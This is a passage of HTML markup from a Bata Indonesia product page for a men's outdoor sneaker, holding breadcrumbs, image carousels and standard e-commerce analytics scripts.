  1830.      <li><a class="b-suggestions__hit" href="https://www.bata.com/id/pesanan/tracking">
  1831.         Telusuri pesanan
  1832.         </a>
  1833.      </li>
  1834.      <li><a class="b-suggestions__hit" href="https://www.bata.com/id/storesfind?showMap=true&amp;horizontalView=true">
  1835.         Toko
  1836.         </a>
  1837.      </li>
  1838.   </ul>
  1839. </div>
  1840. <!-- End content-asset -->
  1841.  
  1842.  
  1843.  
  1844.                                </div>
  1845.                            </div>
  1846.                        </div>
  1847.                        <div class="cc-product-search-second-col">
  1848.                            
  1850.  
  1852.                        </div>
  1853.                    </div>
  1854.                </div>
  1855.            </div>
  1856.        </div>
  1857.        <input type="hidden" value="in_ID" name="lang" />
  1858.    </form>
  1859. </div>
  1860.  
  1861.        </div>
  1862.    </div>
  1863. </header>
  1864.  
  1865. <div role="main" id="maincontent">
  1866.  
  1867.  
  1868.  
  1869.  
  1870.  
  1871.  
  1872.    
  1873.    
  1874.    
  1875.    <!-- analytics fallback data to avoid nullpointer exception in console-->
  1876.    <!-- set of variables setted only to avoid nullpointer exception in console -->
  1877.  
  1878.  
  1879.    <!-- end of analytics data -->
  1880.  
  1881.    
  1882.  
  1883.    
  1884.    
  1885.    
  1886.    
  1887.    <!-- CQuotient Activity Tracking (viewProduct-cquotient.js) -->
  1888. <script type="text/javascript">//<!--
  1889. /* <![CDATA[ */
  1890. (function(){
  1891. try {
  1892. if(window.CQuotient) {
  1893. var cq_params = {};
  1894. cq_params.product = {
  1895. id: '540M_ER84000541M',
  1896. sku: '',
  1897. type: 'vgroup',
  1898. alt_id: '540M_2023_8406005'
  1899. };
  1900. cq_params.realm = "BCLG";
  1901. cq_params.siteId = "bata-id";
  1902. cq_params.instanceType = "prd";
  1903. window.CQuotient.trackViewProduct(cq_params);
  1904. }
  1905. } catch(err) {}
  1906. })();
  1907. /* ]]> */
  1908. // -->
  1909. </script>
  1910. <script type="text/javascript">//<!--
  1911. /* <![CDATA[ (viewProduct-active_data.js) */
  1912. dw.ac._capture({id: "540M_2023_8406005", type: "detail"});
  1913. /* ]]> */
  1914. // -->
  1915. </script>
  1916.  
  1917.    
  1918.        
  1919.            
  1920.        
  1921.    
  1922.        
  1923.    
  1924.        
  1925.    
  1926.  
  1927.    <div id="back-in-stock-container" class="container product-detail product-wrapper cc-product-detail cc-cat-pria" data-pid="540M_2023_8406005" data-backinstock-msg="product.backinstock.message.text">
  1928.  
  1929.        <div class="cc-pdp-row">
  1930.            <!-- Product Images Carousel or 360 Image -->
  1931.            
  1932.  
  1933.  
  1934.  
  1935.  
  1936.  
  1937.  
  1938. <div class="primary-images cc-pdp-col-images">
  1939.  
  1940.    
  1941.    <div class="product-breadcrumb cc-product-breadcrumb cc-product-breadcrumb--desktop">
  1942.        
  1943.  
  1944.  
  1945.  
  1946. <div class="col" role="navigation" aria-label="Breadcrumb">
  1947.    <ol class="cc-breadcrumb--container" data-target="breadcrumbs">
  1948.        
  1949.            <li class="cc-breadcrumb cc-breadcrumb--parentCategory">
  1950.                
  1951.                    <a href="/id/pria/" aria-current="page">
  1952.                        Pria
  1953.                    </a>
  1954.                    <span class="cc-breadcrumb--icon d-inline-block"></span>
  1955.                
  1956.            </li>
  1957.  
  1958.        
  1959.            <li class="cc-breadcrumb cc-breadcrumb--parentCategory">
  1960.                
  1961.                    <a href="/id/pria/alas-kaki/" aria-current="page">
  1962.                        Alas Kaki
  1963.                    </a>
  1964.                    <span class="cc-breadcrumb--icon d-inline-block"></span>
  1965.                
  1966.            </li>
  1967.  
  1968.        
  1969.            <li class="cc-breadcrumb ">
  1970.                
  1971.                    <a href="/id/pria/alas-kaki/sepatu-outdoor/" class="cc-breadcrumb--last"> Sepatu Outdoor</a>
  1972.                
  1973.            </li>
  1974.  
  1975.        
  1976.    </ol>
  1977. </div>
  1978.  
  1979.    </div>
  1980.  
  1981.    <div class="cc-pdp-carousels-container">
  1982.        
  1983.        
  1984.        
  1985.        <div class="try-on-redirected d-none" data-used-try-on = "false"></div>
  1986.        <div class="pdp-images-carousel cc-pdp-images-carousel ">
  1987.            
  1988.                
  1989.                    
  1990.                    <!-- Increment the position for images -->
  1991.                    <button data-toggle="modal" data-target="#pdpImgModal" class="cc-pdp-carousel-item active "
  1992.                            data-image-position="0">
  1993.                        <div class="cc-container-dis-picture">
  1994.        <picture>
  1995.                <!--[if IE 9]><video style="display: none;"><![endif]-->
  1996.                <source data-srcset="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dwa41a8e3f/images/large/8406005_1.jpg?sw=384 1x,https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dwa41a8e3f/images/large/8406005_1.jpg?sw=768 2x" media="(max-width: 767px)" width="720" height="720" />
  1997.                <source data-srcset="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dwa41a8e3f/images/large/8406005_1.jpg?sw=547 1x,https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dwa41a8e3f/images/large/8406005_1.jpg?sw=1094 2x" media="(max-width: 1199px) and (min-width: 768px)" width="649" height="649" />
  1998.                <source data-srcset="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dwa41a8e3f/images/large/8406005_1.jpg?sw=817 1x,https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dwa41a8e3f/images/large/8406005_1.jpg?sw=1634 2x" media="(min-width: 1200px)" width="817" height="817" />
  1999.                <!--[if IE 9]></video><![endif]-->
  2000.  
  2001.                <img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" data-src="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dwa41a8e3f/images/large/8406005_1.jpg?sw=817" alt="Men Outdoor Sneakers Grand" title="Men Outdoor Sneakers Grand" class="b-lazyload"  width="817" height="817" loading="lazy" />
  2002.        </picture>
  2003. </div>
  2004.                    </button>
  2005.                
  2006.                    
  2007.                    <!-- Increment the position for images -->
  2008.                    <button data-toggle="modal" data-target="#pdpImgModal" class="cc-pdp-carousel-item  "
  2009.                            data-image-position="1">
  2010.                        <div class="cc-container-dis-picture">
  2011.        <picture>
  2012.                <!--[if IE 9]><video style="display: none;"><![endif]-->
  2013.                <source data-srcset="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw0252ff61/images/large/8406005_2.jpg?sw=384 1x,https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw0252ff61/images/large/8406005_2.jpg?sw=768 2x" media="(max-width: 767px)" width="720" height="720" />
  2014.                <source data-srcset="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw0252ff61/images/large/8406005_2.jpg?sw=547 1x,https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw0252ff61/images/large/8406005_2.jpg?sw=1094 2x" media="(max-width: 1199px) and (min-width: 768px)" width="649" height="649" />
  2015.                <source data-srcset="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw0252ff61/images/large/8406005_2.jpg?sw=817 1x,https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw0252ff61/images/large/8406005_2.jpg?sw=1634 2x" media="(min-width: 1200px)" width="817" height="817" />
  2016.                <!--[if IE 9]></video><![endif]-->
  2017.  
  2018.                <img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" data-src="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw0252ff61/images/large/8406005_2.jpg?sw=817" alt="Men Outdoor Sneakers Grand" title="Men Outdoor Sneakers Grand" class="b-lazyload"  width="817" height="817" loading="lazy" />
  2019.        </picture>
  2020. </div>
  2021.                    </button>
  2022.                
  2023.                    
  2024.                    <!-- Increment the position for images -->
  2025.                    <button data-toggle="modal" data-target="#pdpImgModal" class="cc-pdp-carousel-item  "
  2026.                            data-image-position="2">
  2027.                        <div class="cc-container-dis-picture">
  2028.        <picture>
  2029.                <!--[if IE 9]><video style="display: none;"><![endif]-->
  2030.                <source data-srcset="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw06a075e9/images/large/8406005_3.jpg?sw=384 1x,https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw06a075e9/images/large/8406005_3.jpg?sw=768 2x" media="(max-width: 767px)" width="720" height="720" />
  2031.                <source data-srcset="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw06a075e9/images/large/8406005_3.jpg?sw=547 1x,https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw06a075e9/images/large/8406005_3.jpg?sw=1094 2x" media="(max-width: 1199px) and (min-width: 768px)" width="649" height="649" />
  2032.                <source data-srcset="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw06a075e9/images/large/8406005_3.jpg?sw=817 1x,https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw06a075e9/images/large/8406005_3.jpg?sw=1634 2x" media="(min-width: 1200px)" width="817" height="817" />
  2033.                <!--[if IE 9]></video><![endif]-->
  2034.  
  2035.                <img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" data-src="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw06a075e9/images/large/8406005_3.jpg?sw=817" alt="Men Outdoor Sneakers Grand" title="Men Outdoor Sneakers Grand" class="b-lazyload"  width="817" height="817" loading="lazy" />
  2036.        </picture>
  2037. </div>
  2038.                    </button>
  2039.                
  2040.                    
  2041.                    <!-- Increment the position for images -->
  2042.                    <button data-toggle="modal" data-target="#pdpImgModal" class="cc-pdp-carousel-item  "
  2043.                            data-image-position="3">
  2044.                        <div class="cc-container-dis-picture">
  2045.        <picture>
  2046.                <!--[if IE 9]><video style="display: none;"><![endif]-->
  2047.                <source data-srcset="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw1a871fe7/images/large/8406005_4.jpg?sw=384 1x,https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw1a871fe7/images/large/8406005_4.jpg?sw=768 2x" media="(max-width: 767px)" width="720" height="720" />
  2048.                <source data-srcset="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw1a871fe7/images/large/8406005_4.jpg?sw=547 1x,https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw1a871fe7/images/large/8406005_4.jpg?sw=1094 2x" media="(max-width: 1199px) and (min-width: 768px)" width="649" height="649" />
  2049.                <source data-srcset="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw1a871fe7/images/large/8406005_4.jpg?sw=817 1x,https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw1a871fe7/images/large/8406005_4.jpg?sw=1634 2x" media="(min-width: 1200px)" width="817" height="817" />
  2050.                <!--[if IE 9]></video><![endif]-->
  2051.  
  2052.                <img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" data-src="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw1a871fe7/images/large/8406005_4.jpg?sw=817" alt="Men Outdoor Sneakers Grand" title="Men Outdoor Sneakers Grand" class="b-lazyload"  width="817" height="817" loading="lazy" />
  2053.        </picture>
  2054. </div>
  2055.                    </button>
  2056.                
  2057.                    
  2058.                    <!-- Increment the position for images -->
  2059.                    <button data-toggle="modal" data-target="#pdpImgModal" class="cc-pdp-carousel-item  "
  2060.                            data-image-position="4">
  2061.                        <div class="cc-container-dis-picture">
  2062.        <picture>
  2063.                <!--[if IE 9]><video style="display: none;"><![endif]-->
  2064.                <source data-srcset="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dwbca810ab/images/large/8406005_5.jpg?sw=384 1x,https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dwbca810ab/images/large/8406005_5.jpg?sw=768 2x" media="(max-width: 767px)" width="720" height="720" />
  2065.                <source data-srcset="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dwbca810ab/images/large/8406005_5.jpg?sw=547 1x,https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dwbca810ab/images/large/8406005_5.jpg?sw=1094 2x" media="(max-width: 1199px) and (min-width: 768px)" width="649" height="649" />
  2066.                <source data-srcset="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dwbca810ab/images/large/8406005_5.jpg?sw=817 1x,https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dwbca810ab/images/large/8406005_5.jpg?sw=1634 2x" media="(min-width: 1200px)" width="817" height="817" />
  2067.                <!--[if IE 9]></video><![endif]-->
  2068.  
  2069.                <img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" data-src="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dwbca810ab/images/large/8406005_5.jpg?sw=817" alt="Men Outdoor Sneakers Grand" title="Men Outdoor Sneakers Grand" class="b-lazyload"  width="817" height="817" loading="lazy" />
  2070.        </picture>
  2071. </div>
  2072.                    </button>
  2073.                
  2074.            
  2075.        </div>
  2076.  
  2077.        <button type="button" class="cc-container-zoom-icon " data-toggle="modal" data-target="#pdpImgModal">
  2078.            <svg class="iconClassCommon cc-icon-maximize">
  2079.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#maximize" />
  2080. </svg>
  2081.        </button>
  2082.    </div>
  2083.  
  2084.    
  2085.    <div id="zoom-target" class="cc-zoom-target" data-url-base-zoom='/on/demandware.store/Sites-bata-id-Site/in_ID/Product-ShowProductZoom?pid=' data-url-zoom='/on/demandware.store/Sites-bata-id-Site/in_ID/Product-ShowProductZoom?pid=540M_2023_8406005'></div>
  2086. </div>
  2087.  
  2088.            
  2089.  
  2090. <div class="modal fade cc-image-overlay" id="pdpImgModal" tabindex="-1" role="dialog" aria-labelledby="pdpImgModalTitle" aria-hidden="true">
  2091.    <div class="modal-dialog" role="document">
  2092.        <div class="modal-content">
  2093.            <div class="cc-image-overlay__extra-wrp">
  2094.                <button type="button" class="close cc-image-overlay__close" data-dismiss="modal" aria-label="Close">
  2095.                    <span class="icon-close-remove"></span>
  2096.                </button>
  2097.                <div class="cc-image-overlay__wrp" data-zoom-out-cursor="/on/demandware.static/Sites-bata-id-Site/-/default/dw161af456/images/pdp-overlay-zoom-out.svg">
  2098.                    <div class="cc-image-overlay__main-carousel js-pdp-overlay-main-carousel">
  2099.                        
  2100.                            
  2101.                                
  2102.                                    <div class="cc-pdp-carousel-item" data-image-position="0">
  2103.                                        <div class="cc-container-dis-picture">
  2104.        <picture>
  2105.                <!--[if IE 9]><video style="display: none;"><![endif]-->
  2106.                <source data-srcset="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dwa41a8e3f/images/large/8406005_1.jpg?sw=384 1x,https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dwa41a8e3f/images/large/8406005_1.jpg?sw=768 2x" media="(max-width: 767px)" width="720" height="720" />
  2107.                <source data-srcset="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dwa41a8e3f/images/large/8406005_1.jpg?sw=547 1x,https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dwa41a8e3f/images/large/8406005_1.jpg?sw=1094 2x" media="(max-width: 1199px) and (min-width: 768px)" width="649" height="649" />
  2108.                <source data-srcset="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dwa41a8e3f/images/large/8406005_1.jpg?sw=817 1x,https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dwa41a8e3f/images/large/8406005_1.jpg?sw=1634 2x" media="(min-width: 1200px)" width="817" height="817" />
  2109.                <!--[if IE 9]></video><![endif]-->
  2110.  
  2111.                <img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" data-src="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dwa41a8e3f/images/large/8406005_1.jpg?sw=817" alt="Men Outdoor Sneakers Grand" title="Men Outdoor Sneakers Grand" class="b-lazyload"  width="817" height="817" loading="lazy" />
  2112.        </picture>
  2113. </div>
  2114.                                    </div>
  2115.                            
  2116.                                
  2117.                                    <div class="cc-pdp-carousel-item" data-image-position="1">
  2118.                                        <div class="cc-container-dis-picture">
  2119.        <picture>
  2120.                <!--[if IE 9]><video style="display: none;"><![endif]-->
  2121.                <source data-srcset="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw0252ff61/images/large/8406005_2.jpg?sw=384 1x,https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw0252ff61/images/large/8406005_2.jpg?sw=768 2x" media="(max-width: 767px)" width="720" height="720" />
  2122.                <source data-srcset="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw0252ff61/images/large/8406005_2.jpg?sw=547 1x,https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw0252ff61/images/large/8406005_2.jpg?sw=1094 2x" media="(max-width: 1199px) and (min-width: 768px)" width="649" height="649" />
  2123.                <source data-srcset="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw0252ff61/images/large/8406005_2.jpg?sw=817 1x,https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw0252ff61/images/large/8406005_2.jpg?sw=1634 2x" media="(min-width: 1200px)" width="817" height="817" />
  2124.                <!--[if IE 9]></video><![endif]-->
  2125.  
  2126.                <img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" data-src="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw0252ff61/images/large/8406005_2.jpg?sw=817" alt="Men Outdoor Sneakers Grand" title="Men Outdoor Sneakers Grand" class="b-lazyload"  width="817" height="817" loading="lazy" />
  2127.        </picture>
  2128. </div>
  2129.                                    </div>
  2130.                            
  2131.                                
  2132.                                    <div class="cc-pdp-carousel-item" data-image-position="2">
  2133.                                        <div class="cc-container-dis-picture">
  2134.        <picture>
  2135.                <!--[if IE 9]><video style="display: none;"><![endif]-->
  2136.                <source data-srcset="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw06a075e9/images/large/8406005_3.jpg?sw=384 1x,https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw06a075e9/images/large/8406005_3.jpg?sw=768 2x" media="(max-width: 767px)" width="720" height="720" />
  2137.                <source data-srcset="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw06a075e9/images/large/8406005_3.jpg?sw=547 1x,https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw06a075e9/images/large/8406005_3.jpg?sw=1094 2x" media="(max-width: 1199px) and (min-width: 768px)" width="649" height="649" />
  2138.                <source data-srcset="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw06a075e9/images/large/8406005_3.jpg?sw=817 1x,https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw06a075e9/images/large/8406005_3.jpg?sw=1634 2x" media="(min-width: 1200px)" width="817" height="817" />
  2139.                <!--[if IE 9]></video><![endif]-->
  2140.  
  2141.                <img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" data-src="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw06a075e9/images/large/8406005_3.jpg?sw=817" alt="Men Outdoor Sneakers Grand" title="Men Outdoor Sneakers Grand" class="b-lazyload"  width="817" height="817" loading="lazy" />
  2142.        </picture>
  2143. </div>
  2144.                                    </div>
  2145.                            
  2146.                                
  2147.                                    <div class="cc-pdp-carousel-item" data-image-position="3">
  2148.                                        <div class="cc-container-dis-picture">
  2149.        <picture>
  2150.                <!--[if IE 9]><video style="display: none;"><![endif]-->
  2151.                <source data-srcset="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw1a871fe7/images/large/8406005_4.jpg?sw=384 1x,https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw1a871fe7/images/large/8406005_4.jpg?sw=768 2x" media="(max-width: 767px)" width="720" height="720" />
  2152.                <source data-srcset="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw1a871fe7/images/large/8406005_4.jpg?sw=547 1x,https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw1a871fe7/images/large/8406005_4.jpg?sw=1094 2x" media="(max-width: 1199px) and (min-width: 768px)" width="649" height="649" />
  2153.                <source data-srcset="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw1a871fe7/images/large/8406005_4.jpg?sw=817 1x,https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw1a871fe7/images/large/8406005_4.jpg?sw=1634 2x" media="(min-width: 1200px)" width="817" height="817" />
  2154.                <!--[if IE 9]></video><![endif]-->
  2155.  
  2156.                <img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" data-src="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw1a871fe7/images/large/8406005_4.jpg?sw=817" alt="Men Outdoor Sneakers Grand" title="Men Outdoor Sneakers Grand" class="b-lazyload"  width="817" height="817" loading="lazy" />
  2157.        </picture>
  2158. </div>
  2159.                                    </div>
  2160.                            
  2161.                                
  2162.                                    <div class="cc-pdp-carousel-item" data-image-position="4">
  2163.                                        <div class="cc-container-dis-picture">
  2164.        <picture>
  2165.                <!--[if IE 9]><video style="display: none;"><![endif]-->
  2166.                <source data-srcset="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dwbca810ab/images/large/8406005_5.jpg?sw=384 1x,https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dwbca810ab/images/large/8406005_5.jpg?sw=768 2x" media="(max-width: 767px)" width="720" height="720" />
  2167.                <source data-srcset="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dwbca810ab/images/large/8406005_5.jpg?sw=547 1x,https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dwbca810ab/images/large/8406005_5.jpg?sw=1094 2x" media="(max-width: 1199px) and (min-width: 768px)" width="649" height="649" />
  2168.                <source data-srcset="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dwbca810ab/images/large/8406005_5.jpg?sw=817 1x,https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dwbca810ab/images/large/8406005_5.jpg?sw=1634 2x" media="(min-width: 1200px)" width="817" height="817" />
  2169.                <!--[if IE 9]></video><![endif]-->
  2170.  
  2171.                <img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" data-src="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dwbca810ab/images/large/8406005_5.jpg?sw=817" alt="Men Outdoor Sneakers Grand" title="Men Outdoor Sneakers Grand" class="b-lazyload"  width="817" height="817" loading="lazy" />
  2172.        </picture>
  2173. </div>
  2174.                                    </div>
  2175.                            
  2176.                        
  2177.                    </div>
  2178.  
  2179.                    <div class="cc-image-overlay__thumb js-pdp-overlay-thumb">
  2180.                        
  2181.                            
  2182.                                
  2183.                                    <div class="cc-pdp-carousel-item" data-image-position="0">
  2184.                                        <div class="cc-container-dis-picture">
  2185.        <picture>
  2186.                <!--[if IE 9]><video style="display: none;"><![endif]-->
  2187.                <source data-srcset="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dwa41a8e3f/images/large/8406005_1.jpg?sw=384 1x,https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dwa41a8e3f/images/large/8406005_1.jpg?sw=768 2x" media="(max-width: 767px)" width="720" height="720" />
  2188.                <source data-srcset="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dwa41a8e3f/images/large/8406005_1.jpg?sw=547 1x,https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dwa41a8e3f/images/large/8406005_1.jpg?sw=1094 2x" media="(max-width: 1199px) and (min-width: 768px)" width="649" height="649" />
  2189.                <source data-srcset="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dwa41a8e3f/images/large/8406005_1.jpg?sw=817 1x,https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dwa41a8e3f/images/large/8406005_1.jpg?sw=1634 2x" media="(min-width: 1200px)" width="817" height="817" />
  2190.                <!--[if IE 9]></video><![endif]-->
  2191.  
  2192.                <img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" data-src="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dwa41a8e3f/images/large/8406005_1.jpg?sw=817" alt="Men Outdoor Sneakers Grand" title="Men Outdoor Sneakers Grand" class="b-lazyload"  width="817" height="817" loading="lazy" />
  2193.        </picture>
  2194. </div>
  2195.                                    </div>
  2196.                            
  2197.                                
  2198.                                    <div class="cc-pdp-carousel-item" data-image-position="1">
  2199.                                        <div class="cc-container-dis-picture">
  2200.        <picture>
  2201.                <!--[if IE 9]><video style="display: none;"><![endif]-->
  2202.                <source data-srcset="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw0252ff61/images/large/8406005_2.jpg?sw=384 1x,https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw0252ff61/images/large/8406005_2.jpg?sw=768 2x" media="(max-width: 767px)" width="720" height="720" />
  2203.                <source data-srcset="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw0252ff61/images/large/8406005_2.jpg?sw=547 1x,https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw0252ff61/images/large/8406005_2.jpg?sw=1094 2x" media="(max-width: 1199px) and (min-width: 768px)" width="649" height="649" />
  2204.                <source data-srcset="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw0252ff61/images/large/8406005_2.jpg?sw=817 1x,https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw0252ff61/images/large/8406005_2.jpg?sw=1634 2x" media="(min-width: 1200px)" width="817" height="817" />
  2205.                <!--[if IE 9]></video><![endif]-->
  2206.  
